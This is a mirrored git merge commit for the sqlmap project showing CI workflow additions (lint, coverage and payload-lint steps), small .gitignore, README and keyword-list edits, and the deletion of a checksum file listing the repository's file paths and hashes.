mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2026-10-12 02:22:55 +00:00
Merge branch 'master' into hana-pr
# Conflicts: # data/txt/sha256sums.txt # lib/core/common.py # lib/core/settings.py
This commit is contained in:
@@ -3,6 +3,11 @@ on:
|
||||
branches: [ master ]
|
||||
pull_request:
|
||||
branches: [ master ]
|
||||
workflow_dispatch:
|
||||
|
||||
concurrency:
|
||||
group: ci-${{ github.ref }}
|
||||
cancel-in-progress: true
|
||||
|
||||
permissions:
|
||||
contents: read
|
||||
@@ -12,6 +17,10 @@ jobs:
|
||||
runs-on: ${{ matrix.os }}
|
||||
timeout-minutes: 30
|
||||
|
||||
env:
|
||||
# deterministic dict/set iteration order run-to-run (guards against hash-order flakiness in CI)
|
||||
PYTHONHASHSEED: "0"
|
||||
|
||||
strategy:
|
||||
matrix:
|
||||
include:
|
||||
@@ -37,11 +46,89 @@ jobs:
|
||||
- name: Python sanity
|
||||
run: python -VV
|
||||
|
||||
- name: Pyflakes lint
|
||||
shell: bash
|
||||
run: |
|
||||
python - <<'PY'
|
||||
from __future__ import print_function
|
||||
|
||||
import subprocess
|
||||
import sys
|
||||
|
||||
subprocess.check_call([
|
||||
sys.executable, "-m", "pip", "install", "pyflakes"
|
||||
])
|
||||
|
||||
files = subprocess.check_output(
|
||||
["git", "ls-files", "*.py"]
|
||||
).decode("utf-8").splitlines()
|
||||
|
||||
files = [
|
||||
f for f in files
|
||||
if not f.startswith("thirdparty/")
|
||||
]
|
||||
|
||||
proc = subprocess.Popen(
|
||||
[sys.executable, "-m", "pyflakes"] + files,
|
||||
stdout=subprocess.PIPE,
|
||||
stderr=subprocess.STDOUT,
|
||||
)
|
||||
out, _ = proc.communicate()
|
||||
|
||||
text = out.decode("utf-8", "replace")
|
||||
lines = [
|
||||
line for line in text.splitlines()
|
||||
if " redefines " not in line
|
||||
]
|
||||
|
||||
if lines:
|
||||
print("\n".join(lines))
|
||||
sys.exit(1)
|
||||
|
||||
if proc.returncode not in (0, 1):
|
||||
if text:
|
||||
print(text)
|
||||
print("pyflakes failed unexpectedly with status %s" % proc.returncode)
|
||||
sys.exit(proc.returncode or 1)
|
||||
|
||||
print("pyflakes: clean")
|
||||
PY
|
||||
|
||||
- name: Basic import test
|
||||
run: python -c "import sqlmap; import sqlmapapi"
|
||||
|
||||
- name: Install optional test deps (lxml, jinja2)
|
||||
# lxml has no PyPy-2.7 wheel and 5.x is Py3-only, so it cannot be pip-installed there. The
|
||||
# tests that use it (test_xpath's real-XPath checks, and the --xpath/--ssti vuln-test
|
||||
# endpoints) skip themselves when the engine is unavailable, so these deps are only needed
|
||||
# on the Py3 jobs.
|
||||
if: matrix.python-version != 'pypy-2.7'
|
||||
run: python -m pip install -q lxml jinja2
|
||||
|
||||
- name: Unit tests
|
||||
# -B: do not write .pyc files. On Python 2 / PyPy a cached .pyc makes a module's __file__
|
||||
# point at the .pyc, which would make the later --smoke getFileType(__file__) doctest see
|
||||
# 'binary' instead of 'text'. Keeping this step byte-compile-free leaves --smoke clean.
|
||||
run: python -B -m unittest discover -s tests -p "test_*.py"
|
||||
|
||||
- name: Coverage
|
||||
if: matrix.python-version != 'pypy-2.7'
|
||||
run: |
|
||||
python -m pip install coverage
|
||||
python -m coverage run --source=lib,plugins,tamper -m unittest discover -s tests -p "test_*.py"
|
||||
python -m coverage run -a --source=lib,plugins,tamper sqlmap.py --doc-test
|
||||
python -m coverage report --fail-under=50
|
||||
|
||||
- name: Smoke test
|
||||
run: python sqlmap.py --smoke
|
||||
run: python sqlmap.py --smoke-test
|
||||
|
||||
- name: Payload lint
|
||||
# offline: emulates blind + UNION enumeration across all DBMSes and checks
|
||||
# every payload agent.py builds with lib/utils/sqllint (structural sanity)
|
||||
run: python sqlmap.py --payload-lint
|
||||
|
||||
- name: Vuln test
|
||||
run: python sqlmap.py --vuln
|
||||
run: python sqlmap.py --vuln-test
|
||||
|
||||
- name: API test
|
||||
run: python sqlmap.py --api-test
|
||||
|
||||
@@ -14,3 +14,5 @@ extra/.DS_Store
|
||||
lib/.DS_Store
|
||||
plugins/.DS_Store
|
||||
thirdparty/.DS_Store
|
||||
CLAUDE.md
|
||||
.coverage
|
||||
|
||||
@@ -47,6 +47,7 @@ Links
|
||||
* Frequently Asked Questions (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ
|
||||
* X: [@sqlmap](https://x.com/sqlmap)
|
||||
* Demos: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
|
||||
* Playground: https://sekumart.sekuripy.hr
|
||||
* Screenshots: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
|
||||
|
||||
Translations
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
@@ -1633,3 +1633,5 @@ YEAR
|
||||
|
||||
ORD
|
||||
MID
|
||||
TOP
|
||||
ROWNUM
|
||||
|
||||
@@ -1,651 +0,0 @@
|
||||
e70317eb90f7d649e4320e59b2791b8eb5810c8cad8bc0c49d917eac966b0f18 data/procs/mssqlserver/activate_sp_oacreate.sql
|
||||
6a2de9f090c06bd77824e15ac01d2dc11637290cf9a5d60c00bf5f42ac6f7120 data/procs/mssqlserver/configure_openrowset.sql
|
||||
798f74471b19be1e6b1688846631b2e397c1a923ad8eca923c1ac93fc94739ad data/procs/mssqlserver/configure_xp_cmdshell.sql
|
||||
5dfaeac6e7ed4c3b56fc75b3c3a594b8458effa4856c0237e1b48405c309f421 data/procs/mssqlserver/create_new_xp_cmdshell.sql
|
||||
3c8944fbd4d77b530af2c72cbabeb78ebfb90f01055a794eede00b7974a115d0 data/procs/mssqlserver/disable_xp_cmdshell_2000.sql
|
||||
afb169095dc36176ffdd4efab9e6bb9ed905874469aac81e0ba265bc6652caa4 data/procs/mssqlserver/dns_request.sql
|
||||
657d56f764c84092ff4bd10b8fcbde95c13780071b715df0af1bc92b7dd284f2 data/procs/mssqlserver/enable_xp_cmdshell_2000.sql
|
||||
1b7d521faca0f69a62c39e0e4267e18a66f8313b22b760617098b7f697a5c81d data/procs/mssqlserver/run_statement_as_user.sql
|
||||
9b8b6e430c705866c738dd3544b032b0099a917d91c85d2b25a8a5610c92bcdf data/procs/mysql/dns_request.sql
|
||||
02b7ef3e56d8346cc4e06baa85b608b0650a8c7e3b52705781a691741fc41bfb data/procs/mysql/write_file_limit.sql
|
||||
02be5ce785214cb9cac8f0eab10128d6f39f5f5de990dea8819774986d0a7900 data/procs/oracle/dns_request.sql
|
||||
606fe26228598128c88bda035986281f117879ac7ff5833d88e293c156adc117 data/procs/oracle/read_file_export_extension.sql
|
||||
4d448d4b7d8bc60ab2eeedfe16f7aa70c60d73aa6820d647815d02a65b1af9eb data/procs/postgresql/dns_request.sql
|
||||
7e3e28eac7f9ef0dea0a6a4cdb1ce9c41f28dd2ee0127008adbfa088d40ef137 data/procs/README.txt
|
||||
3ba14fdeac54b552860f6d1d73e7dc38dfcde6ef184591b135687d9c21d7c8cd data/shell/backdoors/backdoor.asp_
|
||||
35197e3786008b389adf3ecb46e72a5d6f9c7f00a8c9174bf362a4e4d32e594c data/shell/backdoors/backdoor.aspx_
|
||||
081680b403d0d02b6b1c49d67a5372b95c2a345038c4e2b9ac446af8b4af2cc8 data/shell/backdoors/backdoor.cfm_
|
||||
f240c9ba18caaf353e3c41340f36e880ed16385cad4937729e59a4fd4e3fa40a data/shell/backdoors/backdoor.jsp_
|
||||
78b8b00aeaf9fddc5c62832563f3edda18ec0f6429075e7d89d06fce9ddcf8c2 data/shell/backdoors/backdoor.php_
|
||||
a08e09c1020eae40b71650c9b0ac3c3842166db639fdcfc149310fc8cf536f64 data/shell/README.txt
|
||||
a65269dcf3cecd4be0bf6b657cbf49ac77814ac7b0e30afa1cd44bc2fed64c33 data/shell/stagers/stager.asp_
|
||||
8f625fdc513258ee26b3cae257be7114c9f114acb1e93172e2a8f5d2e8e0e0db data/shell/stagers/stager.aspx_
|
||||
c52c17f3344707cae4c3694a979e073202bd46866fcc51d99f7e4d0c21cf335b data/shell/stagers/stager.cfm_
|
||||
8cb4a001efc15bd8022d44df6eb9b2f5f5af1c64caba8f7dffde563ccba76347 data/shell/stagers/stager.jsp_
|
||||
af4e1f87ec7afd12b7ddb39ff07bf24cd31be2b1de11e1be064e1dd96ff43eac data/shell/stagers/stager.php_
|
||||
eb86f6ad21e597f9283bb4360129ebc717bc8f063d7ab2298f31118275790484 data/txt/common-columns.txt
|
||||
63ba15f2ba3df6e55600a2749752c82039add43ed61129febd9221eb1115f240 data/txt/common-files.txt
|
||||
9610fbd4ede776ab60d003c0ea052d68625921a53cdcfa50a4965b0985b619ca data/txt/common-outputs.txt
|
||||
44047281263ef297f27fdd8fa98a0b0438a25989f897ce184cb0e2e442fb6c11 data/txt/common-tables.txt
|
||||
ccba96624a0176b4c5acd8824db62a8c6856dafa7d32424807f38efed22a6c29 data/txt/keywords.txt
|
||||
522cce0327de8a5dfb5ade505e8a23bbd37bcabcbb2993f4f787ccdecf24997e data/txt/smalldict.txt
|
||||
6c07785ff36482ce798c48cc30ce6954855aadbe3bfac9f132207801a82e2473 data/txt/user-agents.txt
|
||||
9c2d6a0e96176447ab8758f8de96e6a681aa0c074cd0eca497712246d8f410c6 data/txt/wordlist.tx_
|
||||
0a1f612740c5cf7cd58de8aadd5b758c887cf8465e629787e29234d7d0777514 data/udf/mysql/linux/32/lib_mysqludf_sys.so_
|
||||
6944a6f7b4137ef5c4dedff23102af2bd199097fc8c33aeea3891f8cff25e002 data/udf/mysql/linux/64/lib_mysqludf_sys.so_
|
||||
4ceb22cb3ae14b44d68b56b147e1bd61a70cb424a3e95b6d010330f47e0fb5d0 data/udf/mysql/windows/32/lib_mysqludf_sys.dll_
|
||||
4cc318f2574366686220b78ce905e52ae821526b0228beea538063f552813282 data/udf/mysql/windows/64/lib_mysqludf_sys.dll_
|
||||
dc6ac20faf8d738673de1b42399d23be1c4006238a863e0aec96d1b84c7120de data/udf/postgresql/linux/32/10/lib_postgresqludf_sys.so_
|
||||
5f062f5949803b9457ab1f4c138f2a97004944fdd3adf59954070b36863024fa data/udf/postgresql/linux/32/11/lib_postgresqludf_sys.so_
|
||||
3b3b46ccbf3c588ebaf90bf070eb1049fcf683918d54260c12b3d682916a155b data/udf/postgresql/linux/32/8.2/lib_postgresqludf_sys.so_
|
||||
d662e025c2680a4b463fe7c0baad16582f0700800140d5cfcdddbabc5287f720 data/udf/postgresql/linux/32/8.3/lib_postgresqludf_sys.so_
|
||||
e8050613548293ef500277713a4aa9aa5ca1a9f5f1fef3120a04dc1ae1440937 data/udf/postgresql/linux/32/8.4/lib_postgresqludf_sys.so_
|
||||
585a29538fdcdb43994d6b2273447287695676855a80b74fc84d76a228cf86c5 data/udf/postgresql/linux/32/9.0/lib_postgresqludf_sys.so_
|
||||
956c17e6ef74ac4f4d423e9060f9fd5fb6aaa885dcda75f3180edfbb6e5debe5 data/udf/postgresql/linux/32/9.1/lib_postgresqludf_sys.so_
|
||||
619ae8bcce96042c4777250bccf9db41ee7131a7b610e79385116bce146704e2 data/udf/postgresql/linux/32/9.2/lib_postgresqludf_sys.so_
|
||||
7c8359639ecbc57cf9278e22cc177073c69999826ba940aa2ce86fc829d27ab8 data/udf/postgresql/linux/32/9.3/lib_postgresqludf_sys.so_
|
||||
2e77400e71c964f3d2491dbddeb92eef6c9e2fcc8db57d58e10b95976dc54524 data/udf/postgresql/linux/32/9.4/lib_postgresqludf_sys.so_
|
||||
b4e5c86ba5c9ad668d822944fe8bfd59664cc8a6c3a6e5fb6cf2ce1fe7cb04a9 data/udf/postgresql/linux/32/9.5/lib_postgresqludf_sys.so_
|
||||
c58117a9c5569bbf74170a5cd93d7c878b260c813515694e42d25b6d38bbeb79 data/udf/postgresql/linux/32/9.6/lib_postgresqludf_sys.so_
|
||||
ffb54c96f422b1e833152b7134adff65418e155e1d3a798e9325cf53daadd308 data/udf/postgresql/linux/64/10/lib_postgresqludf_sys.so_
|
||||
b907f950f8485d661b4a2c8cb53fbc4d25606275ef36e33929fd4772cfa8925d data/udf/postgresql/linux/64/11/lib_postgresqludf_sys.so_
|
||||
f9015f9b1c4d8ffe0bf806718e31d36b32108544a3b99fda6a8c44ebfdcca0ff data/udf/postgresql/linux/64/12/lib_postgresqludf_sys.so_
|
||||
869d9df6b8bee8f801fabfda5ca242bd3514c1c9a666c28c52770ffe6eaf7afc data/udf/postgresql/linux/64/8.2/lib_postgresqludf_sys.so_
|
||||
4e53979687166cc26a320069f9cdfe09535f348088fc76810314a6cf41e13d12 data/udf/postgresql/linux/64/8.3/lib_postgresqludf_sys.so_
|
||||
bd8ae1dd0c61634615cd26dd9765e24b8c63302cf0663fbb4b516b4cbde5457e data/udf/postgresql/linux/64/8.4/lib_postgresqludf_sys.so_
|
||||
8ce6f5d9b6821e57d516a07255cf5db544ee683db24ee231e5ce8c152baf0a69 data/udf/postgresql/linux/64/9.0/lib_postgresqludf_sys.so_
|
||||
6b0c4996ade6d1e667d52037d6687548a442d9c6fc1e4c31e0ba3b2248474b1f data/udf/postgresql/linux/64/9.1/lib_postgresqludf_sys.so_
|
||||
d3e0238e9c83b88061b1613db5c9faed5f03a16f6ecf34c52d5ff9ac960107d0 data/udf/postgresql/linux/64/9.2/lib_postgresqludf_sys.so_
|
||||
102986c0524cab385c95deba4efed4ad7e3479ef2770cc7256571958b9325b4f data/udf/postgresql/linux/64/9.3/lib_postgresqludf_sys.so_
|
||||
031b5ca9e9ff47435821d04abbe0716e464785dd57e58439ff9dc552144f4e59 data/udf/postgresql/linux/64/9.4/lib_postgresqludf_sys.so_
|
||||
dc1e3542e639ffa2b63972d34fc2529054ec163560c1f28c1719413759f94616 data/udf/postgresql/linux/64/9.5/lib_postgresqludf_sys.so_
|
||||
07d425be2d24cd480299759c12dd8b1c77707dc9879b1878033c3149185ccf60 data/udf/postgresql/linux/64/9.6/lib_postgresqludf_sys.so_
|
||||
c5b9d622aca6da735e7ed9906e28c7e061e97c223ef92ba1a5d5028ecbb16962 data/udf/postgresql/windows/32/8.2/lib_postgresqludf_sys.dll_
|
||||
807413d852b9d2db33b7f6064699df3328cd4cf9357cac4f7627a0bbb38f6fbf data/udf/postgresql/windows/32/8.3/lib_postgresqludf_sys.dll_
|
||||
8f7f59a6896ae5b39e2afbfe8479a1f2637fb52220cc1e7158921e570d15fb2a data/udf/postgresql/windows/32/8.4/lib_postgresqludf_sys.dll_
|
||||
7c2511b47ab9d0de1d77f1d775c6522285687ee82fec0edc11cada75ac3f29ae data/udf/postgresql/windows/32/9.0/lib_postgresqludf_sys.dll_
|
||||
0a6d5fc399e9958477c8a71f63b7c7884567204253e0d2389a240d83ed83f241 data/udf/README.txt
|
||||
288592bbc7115870516865d5a92c2e1d1d54f11a26a86998f8829c13724e2551 data/xml/banner/generic.xml
|
||||
2adcdd08d2c11a5a23777b10c132164ed9e856f2a4eca2f75e5e9b6615d26a97 data/xml/banner/mssql.xml
|
||||
14b18da611d4bfad50341df89f893edf47cd09c41c9662e036e817055eaa0cfb data/xml/banner/mysql.xml
|
||||
6d1ab53eeac4fae6d03b67fb4ada71b915e1446a9c1cc4d82eafc032800a68fd data/xml/banner/oracle.xml
|
||||
9f4ca1ff145cfbe3c3a903a21bf35f6b06ab8b484dad6b7c09e95262bf6bfa05 data/xml/banner/postgresql.xml
|
||||
86da6e90d9ccf261568eda26a6455da226c19a42cc7cd211e379cab528ec621e data/xml/banner/server.xml
|
||||
146887f28e3e19861516bca551e050ce81a1b8d6bb69fd342cc1f19a25849328 data/xml/banner/servlet-engine.xml
|
||||
8af6b979b6e0a01062dc740ae475ba6be90dc10bb3716a45d28ada56e81f9648 data/xml/banner/set-cookie.xml
|
||||
a7eb4d1bcbdfd155383dcd35396e2d9dd40c2e89ce9d5a02e63a95a94f0ab4ea data/xml/banner/sharepoint.xml
|
||||
e2febc92f9686eacf17a0054f175917b783cc6638ca570435a5203b03245fc18 data/xml/banner/x-aspnet-version.xml
|
||||
3a440fbbf8adffbe6f570978e96657da2750c76043f8e88a2c269fe9a190778c data/xml/banner/x-powered-by.xml
|
||||
0223157364ea212de98190e7c6f46f9d2ee20cf3d17916d1af16e857bb5dc575 data/xml/boundaries.xml
|
||||
bc23e6213d55390661da57ca7424b3d9876062015cf8f5b66717157bdd3895ea data/xml/errors.xml
|
||||
d0b094a110bccec97d50037cc51445191561c0722ec53bf2cebe1521786e2451 data/xml/payloads/boolean_blind.xml
|
||||
53d0f29459f37248c320d5cb9960d432f46889696d27ae30cc3a3309fd6e026c data/xml/payloads/error_based.xml
|
||||
b0f434f64105bd61ab0f6867b3f681b97fa02b4fb809ac538db382d031f0e609 data/xml/payloads/inline_query.xml
|
||||
0648264166455010921df1ec431e4c973809f37ef12cbfea75f95029222eb689 data/xml/payloads/stacked_queries.xml
|
||||
997556b6170964a64474a2e053abe33cf2cf029fb1acec660d4651cc67a3c7e1 data/xml/payloads/time_blind.xml
|
||||
40a4878669f318568097719d07dc906a19b8520bc742be3583321fc1e8176089 data/xml/payloads/union_query.xml
|
||||
45c55b519d72ae69b6de963ba8882e1826b48ab584a6d7b8223281ab3b3f86a0 data/xml/queries.xml
|
||||
0f5a9c84cb57809be8759f483c7d05f54847115e715521ac0ecf390c0aa68465 doc/AUTHORS
|
||||
ce20a4b452f24a97fde7ec9ed816feee12ac148e1fde5f1722772cc866b12740 doc/CHANGELOG.md
|
||||
233fb10dff24a2436eb24496db7fadb46659da6745a0d53c744db701188041ef doc/THANKS.md
|
||||
59697fb4f118a3197f5b3dc9057351797767c8bcc748e0286e3f7ad74ec3afb6 doc/THIRD-PARTY.md
|
||||
2af9b7a8c5f24de68f9b8b1bcf3a7f2b0e55fdb48b6545e1fc8b13f406ac97c2 doc/translations/README-ar-AR.md
|
||||
c25f7d7f0cc5e13db71994d2b34ada4965e06c87778f1d6c1a103063d25e2c89 doc/translations/README-bg-BG.md
|
||||
e85c82df1a312d93cd282520388c70ecb48bfe8692644fe8dbbf7d43244cda41 doc/translations/README-bn-BD.md
|
||||
00b327233fac8016f1d6d7177479ab3af050c1e7f17b0305c9a97ecdb61b82c9 doc/translations/README-ckb-KU.md
|
||||
f0bd369125459b81ced692ece2fe36c8b042dc007b013c31f2ea8c97b1f95c32 doc/translations/README-de-DE.md
|
||||
163f1c61258ee701894f381291f8f00a307fe0851ddd45501be51a8ace791b44 doc/translations/README-es-MX.md
|
||||
70d04bf35b8931c71ad65066bb5664fd48062c05d0461b887fdf3a0a8e0fab1d doc/translations/README-fa-IR.md
|
||||
a55afae7582937b04bedf11dd13c62d0c87dedae16fcbcbd92f98f04a45c2bdf doc/translations/README-fr-FR.md
|
||||
f4b8bd6cc8de08188f77a6aa780d913b5828f38ca1d5ef05729270cf39f9a3b8 doc/translations/README-gr-GR.md
|
||||
bb8ca97c1abf4cf2ba310d858072276b4a731d2d95b461d4d77e1deca7ccbd8e doc/translations/README-hr-HR.md
|
||||
27ecf8e38762b2ef5a6d48e59a9b4a35d43b91d7497f60027b263091acb067c6 doc/translations/README-id-ID.md
|
||||
830a33cddd601cb1735ced46bbad1c9fbf1ed8bea1860d9dfa15269ef8b3a11c doc/translations/README-in-HI.md
|
||||
40fc19ac5e790ee334732dd10fd8bd62be57f2203bd94bbd08e6aa8e154166e2 doc/translations/README-it-IT.md
|
||||
379a338a94762ff485305b79afaa3c97cb92deb4621d9055b75142806d487bf5 doc/translations/README-ja-JP.md
|
||||
754ce5f3be4c08d5f6ec209cc44168521286ce80f175b9ca95e053b9ec7d14d2 doc/translations/README-ka-GE.md
|
||||
2e7cda0795eee1ac6f0f36e51ce63a6afedc8bbdfc74895d44a72fd070cf9f17 doc/translations/README-ko-KR.md
|
||||
c161d366c1fa499e5f80c1b3c0f35e0fdeabf6616b89381d439ed67e80ed97eb doc/translations/README-nl-NL.md
|
||||
95298c270cc3f493522f2ef145766f6b40487fb8504f51f91bc91b966bb11a7b doc/translations/README-pl-PL.md
|
||||
b904f2db15eb14d5c276d2050b50afa82da3e60da0089b096ce5ddbf3fdc0741 doc/translations/README-pt-BR.md
|
||||
3ed5f7eb20f551363eed1dc34806de88871a66fee4d77564192b9056a59d26ec doc/translations/README-rs-RS.md
|
||||
7d5258bcd281ee620c7143598c18aba03454438c4dc00e7de3f4442d675c2593 doc/translations/README-ru-RU.md
|
||||
bc15e7db466e42182e4bf063919c105327ff1b0ccd0920bb9315c76641ffd71a doc/translations/README-sk-SK.md
|
||||
ab7d86319a68392caac23d8d7870d182d31fb8b33b24e84ba77c8119dbd194c2 doc/translations/README-tr-TR.md
|
||||
5e313398bfe2573c83e25cfc5ff4c003fdbf9244aa611597a7084f7ac11cc405 doc/translations/README-uk-UA.md
|
||||
c3a53e041ce868b4098c02add27ea3abaf6c9ecf73da61339519708ada6d4f24 doc/translations/README-vi-VN.md
|
||||
c4590a37dc1372be29b9ba8674b5e12bcda6ab62c5b2d18dab20bcb73a4ffbeb doc/translations/README-zh-CN.md
|
||||
8c4b528855c2391c91ec1643aeff87cae14246570fd95dac01b3326f505cd26e extra/beep/beep.py
|
||||
509276140d23bfc079a6863e0291c4d0077dea6942658a992cbca7904a43fae9 extra/beep/beep.wav
|
||||
1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 extra/beep/__init__.py
|
||||
b8d919ad6c632a9f5b292ee6c0476e9b092a39c0727fe89d12102d1938217116 extra/cloak/cloak.py
|
||||
1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 extra/cloak/__init__.py
|
||||
6879b01859b2003fbab79c5188fce298264cd00300f9dcecbe1ffd980fe2e128 extra/cloak/README.txt
|
||||
4b6d44258599f306186a24e99d8648d94b04d85c1f2c2a442b15dc26d862b41e extra/dbgtool/dbgtool.py
|
||||
1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 extra/dbgtool/__init__.py
|
||||
a777193f683475c63f0dd3916f86c4b473459640c3278ff921432836bc75c47f extra/dbgtool/README.txt
|
||||
6cdf3fff3bdf14f7becf5737f30085fd46510a2baa77c72b026723525b46e41b extra/icmpsh/icmpsh.exe_
|
||||
4838389bf1ceac806dff075e06c5be9c0637425f37c67053a4361a5f1b88a65c extra/icmpsh/icmpsh-m.c
|
||||
8c38efaaf8974f9d08d9a743a7403eb6ae0a57b536e0d21ccb022f2c55a16016 extra/icmpsh/icmpsh-m.pl
|
||||
12014ddddc09c58ef344659c02fd1614157cfb315575378f2c8cb90843222733 extra/icmpsh/icmpsh_m.py
|
||||
6359bfef76fb5c887bb89c2241f6d65647308856f8d3ce3e10bf3fdde605e120 extra/icmpsh/icmpsh-s.c
|
||||
ab6ee3ee9f8600e39faecfdaa11eaa3bed6f15ccef974bb904b96bf95e980c40 extra/icmpsh/__init__.py
|
||||
27af6b7ec0f689e148875cb62c3acb4399d3814ba79908220b29e354a8eed4b8 extra/icmpsh/README.txt
|
||||
1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 extra/__init__.py
|
||||
191e3e397b83294082022de178f977f2c59fa99c96e5053375f6c16114d6777e extra/runcmd/README.txt
|
||||
3c567dd087963349a04a3f94312d71066bfbe4fd57139878b555aea4a637676d extra/runcmd/runcmd.exe_
|
||||
70bd8a15e912f06e4ba0bd612a5f19a6b35ed0945b1e370f9b8700b120272d8f extra/runcmd/src/README.txt
|
||||
baecf66c52fe3c39f7efa3a70f9d5bd6ea8f841abd8da9e6e11bdc80a995b3ae extra/runcmd/src/runcmd/runcmd.cpp
|
||||
a24d2dc1a5a8688881bea6be358359626d339d4a93ea55e8b756615e3608b8dd extra/runcmd/src/runcmd/runcmd.vcproj
|
||||
16d4453062ba3806fe6b62745757c66bf44748d25282263fe9ef362487b27db0 extra/runcmd/src/runcmd.sln
|
||||
d4186cac6e736bdfe64db63aa00395a862b5fe5c78340870f0c79cae05a79e7d extra/runcmd/src/runcmd/stdafx.cpp
|
||||
e278d40d3121d757c2e1b8cc8192397e5014f663fbf6d80dd1118443d4fc9442 extra/runcmd/src/runcmd/stdafx.h
|
||||
38f59734b971d1dc200584936693296aeebef3e43e9e85d6ec3fd6427e5d6b4b extra/shellcodeexec/linux/shellcodeexec.x32_
|
||||
b8bcb53372b8c92b27580e5cc97c8aa647e156a439e2306889ef892a51593b17 extra/shellcodeexec/linux/shellcodeexec.x64_
|
||||
cfa1f8d02f815c4e8561f6adbdd4e84dda6b6af6c7a0d5eeb9d7346d07e1e7ad extra/shellcodeexec/README.txt
|
||||
b1381d5c473a428b3ca30e7f438e86ddcb90b51504065d332df0efd3e321d3dd extra/shellcodeexec/windows/shellcodeexec.x32.exe_
|
||||
384805687bfe5b9077d90d78183afcbd4690095dfc4cc12b2ed3888f657c753c extra/shutils/autocompletion.sh
|
||||
a86533e9f9251f51cd3a657d92b19af4ec4282cd6d12a2914e3206b58c964ee0 extra/shutils/blanks.sh
|
||||
cfd91645763508ba5d639524e1448bac64d4a1a9f2b1cf6faf7a505c97d18b55 extra/shutils/drei.sh
|
||||
dd5141a5e14a5979b3d4a733016fafe241c875e1adef7bd2179c83ca78f24d26 extra/shutils/duplicates.py
|
||||
0d5f32aa26b828046b851d3abeb8a5940def01c6b15db051451241435b043e10 extra/shutils/junk.sh
|
||||
74fe683e94702bef6b8ea8eebb7fc47040e3ef5a03dec756e3cf4504a00c7839 extra/shutils/newlines.py
|
||||
fed05c468af662ba6ca6885baf8bf85fec1e58f438b3208f3819ad730a75a803 extra/shutils/postcommit-hook.sh
|
||||
ca86d61d3349ed2d94a6b164d4648cff9701199b5e32378c3f40fca0f517b128 extra/shutils/precommit-hook.sh
|
||||
3893c13c6264dd71842a3d2b3509dd8335484f825b43ed2f14f8161905d1b214 extra/shutils/pycodestyle.sh
|
||||
0525e3f6004eb340b8a1361072a281f920206626f0c8f6d25e67c8cef7aee78a extra/shutils/pydiatra.sh
|
||||
763240f767c3d025cefb70dede0598c134ea9a520690944ae16a734e80fd98a0 extra/shutils/pyflakes.sh
|
||||
07c500a13c9fca3ee2915bf00db9f064fa7d4aa1631989ef86f87828bdf60c11 extra/shutils/pypi.sh
|
||||
df768bcb9838dc6c46dab9b4a877056cb4742bd6cfaaf438c4a3712c5cc0d264 extra/shutils/recloak.sh
|
||||
1972990a67caf2d0231eacf60e211acf545d9d0beeb3c145a49ba33d5d491b3f extra/shutils/strip.sh
|
||||
1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 extra/vulnserver/__init__.py
|
||||
9e5e4d3d9acb767412259895a3ee75e1a5f42d0b9923f17605d771db384a6f60 extra/vulnserver/vulnserver.py
|
||||
b8411d1035bb49b073476404e61e1be7f4c61e205057730e2f7880beadcd5f60 lib/controller/action.py
|
||||
6da812281a69c8b7a5181c2f76374dc695e4727b2936042651bacbeda4e6bcc9 lib/controller/checks.py
|
||||
c1881685bef8504ded32c51abed00ab51849008c84b74e8a66117e5f5041b3df lib/controller/controller.py
|
||||
2d930f47eaaa95fa129705751ebbeef374d5c1e39d4ac94bab384c2e1bac28eb lib/controller/handler.py
|
||||
1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/controller/__init__.py
|
||||
87bb4e0c6b4fc33b4447756b1f07e660e092528f8efe4b3205c835659997e939 lib/core/agent.py
|
||||
ca3e5ce56cb1cae0a8e815425ab6810068004bffe8861d1037c7c87c0ae02477 lib/core/bigarray.py
|
||||
1c1828cae42295c3b6c7fb29cec60b6610b4cc1457d9dabd7966e15148c2ee70 lib/core/common.py
|
||||
f30b4eccdb574731fa7e6ef48e71ea82d4bc99be70a2e27bff230943e9039313 lib/core/compat.py
|
||||
e37bfd314a46699b14e1c8a5ea851d546d3a36bea8e5f37466ef2921ff78fefd lib/core/convert.py
|
||||
c03dc585f89642cfd81b087ac2723e3e1bb3bfa8c60e6f5fe58ef3b0113ebfe6 lib/core/data.py
|
||||
6acb645b1f285b21673c70824b03f6209acc5993b50e50da5ed2c713a30626f5 lib/core/datatype.py
|
||||
70fb2528e580b22564899595b0dff6b1bc257c6a99d2022ce3996a3d04e68e4e lib/core/decorators.py
|
||||
147823c37596bd6a56d677697781f34b8d1d1671d5a2518fbc9468d623c6d07d lib/core/defaults.py
|
||||
1b0bafa991e74e053d4b3260491d4234c15f877e0f0f6d94630fb7eca52bc2ff lib/core/dicts.py
|
||||
926437d5b99f59a10c98d9be7ffd6ae5cc5a93c0538658f334689858067c6ac7 lib/core/dump.py
|
||||
278083554dcba168174b8265b077726824b746cf7cfcf336a878a738117f0c5a lib/core/enums.py
|
||||
5387168e5dfedd94ae22af7bb255f27d6baaca50b24179c6b98f4f325f5cc7b4 lib/core/exception.py
|
||||
1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/core/__init__.py
|
||||
914a13ee21fd610a6153a37cbe50830fcbd1324c7ebc1e7fc206d5e598b0f7ad lib/core/log.py
|
||||
67ea32c993cbf23cdbd5170360c020ca33363b7c516ff3f8da4124ef7cb0254d lib/core/optiondict.py
|
||||
3ff871fe8391952c3ec3bb528ba592a13926c80ca0b68fd322a317f69a651ef7 lib/core/option.py
|
||||
3371a9c79ad7d2eb578e705cb077098a9f63cabb5472e4e66c4dac094a438bcd lib/core/patch.py
|
||||
49c0fa7e3814dfda610d665ee02b12df299b28bc0b6773815b4395514ddf8dec lib/core/profiling.py
|
||||
03db48f02c3d07a047ddb8fe33a757b6238867352d8ddda2a83e4fec09a98d04 lib/core/readlineng.py
|
||||
48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py
|
||||
